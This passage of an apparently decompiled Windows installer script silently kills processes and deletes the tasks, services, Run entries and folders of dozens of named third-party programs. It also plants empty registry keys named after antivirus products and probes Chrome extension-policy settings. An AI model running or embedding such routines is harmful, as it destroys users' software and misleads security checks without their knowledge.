; Push "cmd /k taskkill /IM $\"SuperBrowser.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\SuperBrowser
label_18487:
IfFileExists $PROGRAMFILES\SuperBrowser 0 label_18514
nsExec::ExecToStack "schtasks /delete /tn $\"SuperBrowserHelper$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"SuperBrowserHelper$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for SuperBrowser$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for SuperBrowser$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for SuperBrowser2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for SuperBrowser2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::Exec "cmd /k taskkill /IM $\"settingsManager.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"settingsManager.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM $\"ExtensionUpdaterService.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"ExtensionUpdaterService.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\SuperBrowser
label_18514:
IfFileExists $DESKTOP\SuperBrowser.lnk 0 label_18516
Delete $DESKTOP\SuperBrowser.lnk
label_18516:
IfFileExists "$APPDATA\User Pinned\TaskBar\SuperBrowser.lnk" 0 label_18518
Delete "$APPDATA\User Pinned\TaskBar\SuperBrowser.lnk"
label_18518:
IfFileExists $APPDATA\SuperBrowser.lnk 0 label_18520
Delete $APPDATA\SuperBrowser.lnk
label_18520:
IfFileExists $SMPROGRAMS\SuperBrowser\SuperBrowser.lnk 0 label_18522
Delete $SMPROGRAMS\SuperBrowser\SuperBrowser.lnk
label_18522:
ClearErrors
SetRegView 64
ReadRegStr $0 HKLM SOFTWARE\Microsoft help
SetRegView 32
IfErrors label_18578
StrCpy $0 0
label_18528:
EnumRegKey $1 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_18578
IntOp $0 $0 + 1
ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayName
StrCmp $2 "youndoo - Uninstall" label_18535
StrCmp $2 "trotux - Uninstall" label_18535
StrCmp $2 "hohosearch - Uninstall" label_18535 label_18528
label_18535:
ClearErrors
ReadRegStr $2 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 UninstallString
IfErrors label_18528
Push $2
Push "rundll32.exe "
Push ""
Call func_179
Pop $2
Push $2
Push $PROGRAMFILES
Push ""
Call func_179
Pop $2
Push $2
Push .dll
Push >
Push <
Push 0
Push 0
Push 0
Call func_4539
Pop $2
Push $2
Push $\"\
Push ""
Call func_179
Pop $2
Push $2
Push \
Push >
Push <
Push 0
Push 0
Push 0
Call func_4539
Pop $2
IfFileExists $PROGRAMFILES\$2 0 label_18573
RMDir /r /REBOOTOK $PROGRAMFILES\$2
label_18573:
SetRegView 64
DeleteRegValue HKLM SOFTWARE\Microsoft help
DeleteRegKey HKLM SOFTWARE\Classes\CLSID\{6710C780-E20E-4C49-A87D-321850ED3D7C}
SetRegView 32
Goto label_18528
label_18578:
ClearErrors
EnumRegKey $0 HKCU Software\Microsoft\guardPlagin $0
IfErrors label_18601
StrCpy $0 0
label_18582:
EnumRegKey $1 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_18601
IntOp $0 $0 + 1
ClearErrors
ReadRegStr $2 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 UninstallString
IfErrors label_18582
ClearErrors
Push $2
Push --dkg=
Call :label_405
Pop $3
IfErrors label_18582
IfFileExists $LOCALAPPDATA\$1\$1.exe 0 label_18582
nsExec::Exec "cmd /k taskkill /IM $\"$1.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$1.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $LOCALAPPDATA\$1\$1.exe
label_18601:
IfFileExists $LOCALAPPDATA\MicroCleaner 0 label_18637
nsExec::Exec "cmd /k taskkill /IM mrz2.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM mrz2.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM SyncFolders.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM SyncFolders.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"MicroCleaner$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"MicroCleaner$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Advanced System Check$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Advanced System Check$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\MicroCleaner
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\ctfmon.exe 0 label_18630
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run CTFMON.EXE
label_18630:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\ctfmon.exe 0 label_18637
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run CTFMON.EXE
label_18637:
IfFileExists $LOCALAPPDATA\Ruspromocode 0 label_18645
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ruspromocode
nsExec::Exec "cmd /k taskkill /IM $\"stub.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"stub.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\Ruspromocode
label_18645:
IfFileExists "$PROGRAMFILES\BB10 PlayBook App Manager" 0 label_18652
nsExec::Exec "cmd /k taskkill /IM $\"BB10 PlayBook App Manager.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"BB10 PlayBook App Manager.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\BB10 PlayBook App Manager"
label_18652:
IfFileExists "$APPDATA\User Pinned\TaskBar\Search The Internet.lnk" 0 label_18654
Delete "$APPDATA\User Pinned\TaskBar\Search The Internet.lnk"
label_18654:
IfFileExists "$APPDATA\Search The Internet.lnk" 0 label_18656
Delete "$APPDATA\Search The Internet.lnk"
label_18656:
IfFileExists $PROGRAMFILES\MyBrowser* 0 label_18664
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\MyBrowser*
label_18659:
StrCmp $R1 "" label_18663
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_18659
label_18663:
FindClose $0
label_18664:
IfFileExists "$PROGRAMFILES\We Heart It" 0 label_18671
nsExec::Exec "cmd /k taskkill /IM $\"We Heart It.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"We Heart It.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\We Heart It"
label_18671:
IfFileExists $PROGRAMFILES\StatFoobar 0 label_18673
RMDir /r /REBOOTOK $PROGRAMFILES\StatFoobar
label_18673:
IfFileExists "$PROGRAMFILES\Send to Kindle for Chrome" 0 label_18680
nsExec::Exec "cmd /k taskkill /IM $\"Send to Kindle for Chrome.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Send to Kindle for Chrome.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Send to Kindle for Chrome"
label_18680:
IfFileExists $PROGRAMFILES\IncludeFunc 0 label_18682
RMDir /r /REBOOTOK $PROGRAMFILES\IncludeFunc
label_18682:
IfFileExists "$PROGRAMFILES\Video Downloader professional" 0 label_18689
nsExec::Exec "cmd /k taskkill /IM $\"Video Downloader professional.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Video Downloader professional.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Video Downloader professional"
label_18689:
IfFileExists $PROGRAMFILES\SystemDefend 0 label_18691
RMDir /r /REBOOTOK $PROGRAMFILES\SystemDefend
label_18691:
IfFileExists $PROGRAMFILES\Stealthy 0 label_18698
nsExec::Exec "cmd /k taskkill /IM $\"Stealthy.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Stealthy.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Stealthy
label_18698:
IfFileExists $PROGRAMFILES\Ax 0 label_18705
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Ax
nsExec::Exec "cmd /k taskkill /IM $\"Ax.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Ax.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_18705:
IfFileExists "$PROGRAMFILES\Fresh Outlook" 0 label_18707
RMDir /r /REBOOTOK "$PROGRAMFILES\Fresh Outlook"
label_18707:
IfFileExists $LOCALAPPDATA\bvxv* 0 label_18721
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\bvxv*
label_18710:
StrCmp $R1 "" label_18720
DeleteRegKey HKLM SYSTEM\ControlSet001\services\$R1
nsExec::Exec "cmd /k taskkill /IM $R1.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $R1.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
FindNext $0 $R1
Goto label_18710
label_18720:
FindClose $0
label_18721:
IfFileExists $PROGRAMFILES\Momentum 0 label_18728
nsExec::Exec "cmd /k taskkill /IM $\"Momentum.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Momentum.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $PROGRAMFILES\Momentum
label_18728:
IfFileExists $PROGRAMFILES\NewGen 0 label_18730
RMDir /r /REBOOTOK $PROGRAMFILES\NewGen
label_18730:
IfFileExists $APPDATA\si_none 0 label_18742
nsExec::ExecToStack "schtasks /delete /tn $\"si_none$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"si_none$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::Exec "cmd /k taskkill /IM $\"s_inst.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"s_inst.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\si_none
label_18742:
IfFileExists $APPDATA\TSearch 0 label_18744
RMDir /r /REBOOTOK $APPDATA\TSearch
label_18744:
IfFileExists $PROGRAMFILES\MedPlayvid* 0 label_18752
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\MedPlayvid*
label_18747:
StrCmp $R1 "" label_18751
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_18747
label_18751:
FindClose $0
label_18752:
IfFileExists "$PROGRAMFILES\Adblock for Youtube" 0 label_18759
nsExec::Exec "cmd /k taskkill /IM $\"Adblock for Youtube.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Adblock for Youtube.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Adblock for Youtube"
label_18759:
IfFileExists $PROGRAMFILES\IncludeRunner 0 label_18761
RMDir /r /REBOOTOK $PROGRAMFILES\IncludeRunner
label_18761:
IfFileExists "$PROGRAMFILES\Magic Actions for YouTube" 0 label_18768
nsExec::Exec "cmd /k taskkill /IM $\"Magic Actions for YouTube.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Magic Actions for YouTube.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Magic Actions for YouTube"
label_18768:
IfFileExists $PROGRAMFILES\LiveReader 0 label_18770
RMDir /r /REBOOTOK $PROGRAMFILES\LiveReader
label_18770:
IfFileExists $DESKTOP\MixVideoPlayer.lnk 0 label_18772
Delete $DESKTOP\MixVideoPlayer.lnk
label_18772:
IfFileExists $PROGRAMFILES\TampaEdit 0 label_18774
RMDir /r /REBOOTOK $PROGRAMFILES\TampaEdit
label_18774:
IfFileExists "$PROGRAMFILES\Musix Search" 0 label_18781
nsExec::Exec "cmd /k taskkill /IM $\"Musix Search.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"Musix Search.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Musix Search"
label_18781:
IfFileExists "$PROGRAMFILES\Max Driver Updater" 0 label_18798
nsExec::Exec "cmd /k taskkill /IM $\"maxdu.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"maxdu.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"MAXDriverUpdaterRunAtStartup$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"MAXDriverUpdaterRunAtStartup$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"MAXDriverUpdater_UPDATES$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"MAXDriverUpdater_UPDATES$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Max Driver Updater"
label_18798:
FunctionEnd
Function func_18799
SetShellVarContext all
StrCpy $3 ""
ClearErrors
ReadRegStr $1 HKCU Software\InstallPath\Status SnapDoNew
IfErrors label_18826
StrCpy $0 0
StrCpy $1 ""
StrCpy $2 ""
label_18807:
SetRegView 64
EnumRegKey $1 HKLM "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" $0
SetRegView 32
StrCmp $1 "" label_18826
Push $1
Push .exe
Push ""
Call func_179
Pop $R1
IntOp $0 $0 + 1
IfFileExists $APPDATA\$R1\$1 0 label_18825
ClearErrors
ReadRegStr $2 HKCU Software\mt$R1 _os
IfErrors label_18825
DeleteRegKey HKLM SYSTEM\ControlSet001\services\$R1
RMDir /r /REBOOTOK $APPDATA\$R1
IfFileExists $APPDATA\$R1s 0 label_18825
RMDir /r /REBOOTOK $APPDATA\$R1s
label_18825:
Goto label_18807
label_18826:
IfFileExists $APPDATA\Ronzap\Ronzap.exe 0 label_18844
nsExec::Exec "cmd /k taskkill /IM Ronzap.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Ronzap.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Biodinbam.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Biodinbam.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Saltfresh.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Saltfresh.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Ronzap
RMDir /r /REBOOTOK $APPDATA\Ronzap
label_18844:
IfFileExists $APPDATA\Airtostrong\Airtostrong.exe 0 label_18867
nsExec::Exec "cmd /k taskkill /IM Airtostrong.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Airtostrong.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Dentoing.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Dentoing.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM Doublephase.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Doublephase.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM DomDom.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM DomDom.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Airtostrong
RMDir /r /REBOOTOK $APPDATA\Airtostrong
label_18867:
IfFileExists "$DESKTOP\MPC Desktop.lnk" 0 label_18869
Delete "$DESKTOP\MPC Desktop.lnk"
label_18869:
IfFileExists "$DESKTOP\MPC AdCleaner.lnk" 0 label_18871
Delete "$DESKTOP\MPC AdCleaner.lnk"
label_18871:
IfFileExists $APPDATA\Advancedpccare.com 0 label_18878
nsExec::Exec "cmd /k taskkill /IM udu.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM udu.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\Advancedpccare.com
label_18878:
IfFileExists $APPDATA\Appverifier 0 label_18886
nsExec::Exec "cmd /k taskkill /IM AppVerifierService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM AppVerifierService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\AppVerifier
RMDir /r /REBOOTOK $APPDATA\Appverifier
label_18886:
IfFileExists $PROGRAMFILES\Jads\Jads\UnInstallMintcast64.bat 0 label_18895
SetOutPath $PROGRAMFILES\Jads\Jads
CreateShortCut $PROGRAMFILES\Jads\Jads\UnInstallMintcast64.lnk $PROGRAMFILES\Jads\Jads\UnInstallMintcast64.bat "" "" "" SW_SHOWMINIMIZED
nsExec::Exec "cmd /k $\"$PROGRAMFILES\Jads\Jads\UnInstallMintcast64.lnk$\""
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k $\"$PROGRAMFILES\Jads\Jads\UnInstallMintcast64.lnk$\""
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Sleep 15000
label_18895:
IfFileExists $PROGRAMFILES\Jads 0 label_18898
RMDir /r /REBOOTOK "$APPDATA\Package Cache"
RMDir /r /REBOOTOK $PROGRAMFILES\Jads
label_18898:
IfFileExists "$DESKTOP\IObit Uninstaller.lnk" 0 label_18900
Delete "$DESKTOP\IObit Uninstaller.lnk"
label_18900:
IfFileExists "$DESKTOP\Advanced SystemCare 8.lnk" 0 label_18902
Delete "$DESKTOP\Advanced SystemCare 8.lnk"
label_18902:
IfFileExists $APPDATA\WindowsMangerProtect\ProtectWindowsManager.exe 0 label_18905
DeleteRegKey HKLM SYSTEM\ControlSet001\services\WindowsMangerProtect
RMDir /r /REBOOTOK $APPDATA\WindowsMangerProtect
label_18905:
IfFileExists $APPDATA\Online\updater.exe 0 label_18912
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Updamter
DeleteRegKey HKLM SYSTEM\ControlSet001\services\WUpdamter
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UpWork
Call func_689
Sleep 3000
RMDir /r /REBOOTOK $APPDATA\Online
label_18912:
IfFileExists $APPDATA\MailUpdate\mailUpdate.exe 0 label_18915
DeleteRegKey HKLM SYSTEM\ControlSet001\services\mailUpdate
RMDir /r /REBOOTOK $APPDATA\MailUpdate
label_18915:
IfFileExists $APPDATA\TimeTasks\TimeTasksSetup.exe 0 label_18918
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Timestasks
RMDir /r /REBOOTOK $APPDATA\TimeTasks
label_18918:
IfFileExists $APPDATA\TimeTasks\timetasks.exe 0 label_18926
nsExec::Exec "cmd /k taskkill /IM timetasks.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM timetasks.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Timestasks
RMDir /r /REBOOTOK $APPDATA\TimeTasks
label_18926:
IfFileExists $TEMP\VKDownloader_restartonfail 0 label_18931
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Rerun service for VK Downloader"
Call func_742
Sleep 3000
RMDir /r /REBOOTOK $TEMP\VKDownloader_restartonfail
label_18931:
IfFileExists $APPDATA\Schedule 0 label_18933
RMDir /r /REBOOTOK $APPDATA\Schedule
label_18933:
IfFileExists $APPDATA\YTAHelper 0 label_18935
RMDir /r /REBOOTOK $APPDATA\YTAHelper
label_18935:
IfFileExists $APPDATA\costmin 0 label_18937
Delete /REBOOTOK $APPDATA\costmin\*.*
label_18937:
IfFileExists $APPDATA\WADHostAgent 0 label_18939
RMDir /r /REBOOTOK $APPDATA\WADHostAgent
label_18939:
IfFileExists $APPDATA\WindowsMangerProtect 0 label_18941
RMDir /r /REBOOTOK $APPDATA\WindowsMangerProtect
label_18941:
IfFileExists $APPDATA\ShopperPro 0 label_18943
RMDir /r /REBOOTOK $APPDATA\ShopperPro
label_18943:
IfFileExists $DOCUMENTS\Stach 0 label_18945
RMDir /r /REBOOTOK $DOCUMENTS\Stach
label_18945:
IfFileExists $APPDATA\EpicScale 0 label_18947
RMDir /r /REBOOTOK $APPDATA\EpicScale
label_18947:
IfFileExists $APPDATA\IePluginServices 0 label_18949
Delete /REBOOTOK $APPDATA\IePluginServices\*.*
label_18949:
IfFileExists $APPDATA\WindowsProtectManger 0 label_18951
RMDir /r /REBOOTOK $APPDATA\WindowsProtectManger
label_18951:
IfFileExists "$DESKTOP\1place.org Games.url" 0 label_18953
Delete "$DESKTOP\1place.org Games.url"
label_18953:
IfFileExists $PROGRAMFILES\Supdater 0 label_18958
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Supdater
Call func_671
Sleep 5000
RMDir /r /REBOOTOK $PROGRAMFILES\Supdater
label_18958:
IfFileExists $PROGRAMFILES64\Supdater 0 label_18963
DeleteRegKey HKLM SYSTEM\ControlSet001\services\Supdater
Call func_671
Sleep 5000
RMDir /r /REBOOTOK $PROGRAMFILES64\Supdater
label_18963:
IfFileExists $WINDIR\ReADService.exe 0 label_18965
Delete /REBOOTOK $WINDIR\ReADService.exe
label_18965:
IfFileExists $WINDIR\RePROService.exe 0 label_18967
Delete /REBOOTOK $WINDIR\RePROService.exe
label_18967:
IfFileExists $WINDIR\Temp\Check.exe 0 label_18969
Delete /REBOOTOK $WINDIR\Temp\Check.exe
label_18969:
IfFileExists $WINDIR\Temp\bdsghost\launcher.exe 0 label_18971
Delete /REBOOTOK $WINDIR\Temp\bdsghost\launcher.exe
label_18971:
IfFileExists $WINDIR\Temp\revs.exe 0 label_18973
Delete /REBOOTOK $WINDIR\Temp\revs.exe
label_18973:
IfFileExists $DESKTOP\Crossbrowse.lnk 0 label_18975
Delete $DESKTOP\Crossbrowse.lnk
label_18975:
IfFileExists $APPDATA\AppMgr* 0 label_18989
StrCpy $0 ""
FindFirst $0 $R1 $APPDATA\AppMgr*
label_18978:
StrCmp $R1 "" label_18988
DeleteRegKey HKLM SYSTEM\ControlSet001\services\$R1
nsExec::Exec "cmd /k taskkill /IM AppMgr.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM AppMgr.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\$R1
FindNext $0 $R1
Goto label_18978
label_18988:
FindClose $0
label_18989:
IfFileExists $DESKTOP\Mobogenie3.lnk 0 label_18991
Delete $DESKTOP\Mobogenie3.lnk
label_18991:
SetShellVarContext current
ClearErrors
ReadRegStr $R0 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{99C91FC5-DB5B-4AA0-BB70-5D89C5A4DF96} InstallLocation
IfErrors 0 label_18999
ClearErrors
ReadRegStr $R0 HKLM SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{99C91FC5-DB5B-4AA0-BB70-5D89C5A4DF96} InstallLocation
IfErrors label_19001
ClearErrors
label_18999:
IfFileExists $R0 0 label_19001
RMDir /r /REBOOTOK $R0
label_19001:
WriteRegStr HKCU Software\Mobogenie3 "" ""
WriteRegStr HKLM Software\360Safe "" ""
WriteRegStr HKLM Software\360TotalSecurity "" ""
WriteRegStr HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\ASPackage "" ""
WriteRegStr HKLM Software\rising\RAV "" ""
WriteRegStr HKLM Software\Tencent\QQPCMgr "" ""
ClearErrors
ReadRegStr $0 HKLM Software\Policies\Chromium\ExtensionInstallForcelist ExtensionInstallForcelist
IfErrors label_19012
StrCpy $0 $0 32
StrCmp $0 npdpaabpkcahccgoakgkgjfgalcpfhlb label_19027
label_19012:
ClearErrors
ReadRegStr $0 HKLM Software\Policies\Google\Chrome\ExtensionInstallSources ExtensionInstallSources
IfErrors label_19017
StrCpy $0 $0 32
StrCmp $0 npdpaabpkcahccgoakgkgjfgalcpfhlb label_19027
label_19017:
ClearErrors
EnumRegKey $0 HKCU Software\Policies\Google\Chrome\ExtensionInstallForcelist $0
IfErrors 0 label_19027
ClearErrors
EnumRegKey $0 HKLM Software\Policies\Google\Chrome\ExtensionInstallForcelist $0
IfErrors 0 label_19027
IfFileExists $SYSDIR\GroupPolicy\Adm\chrome.adm label_19027
IfFileExists $APPDATA\Microsoft\Video\GroupPolicy label_19027
IfFileExists $APPDATA\Microsoft\Vision\GroupPolicy label_19027
IfFileExists $APPDATA\Micron 0 label_19089
label_19027:
nsExec::Exec "cmd /k taskkill /IM monn.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
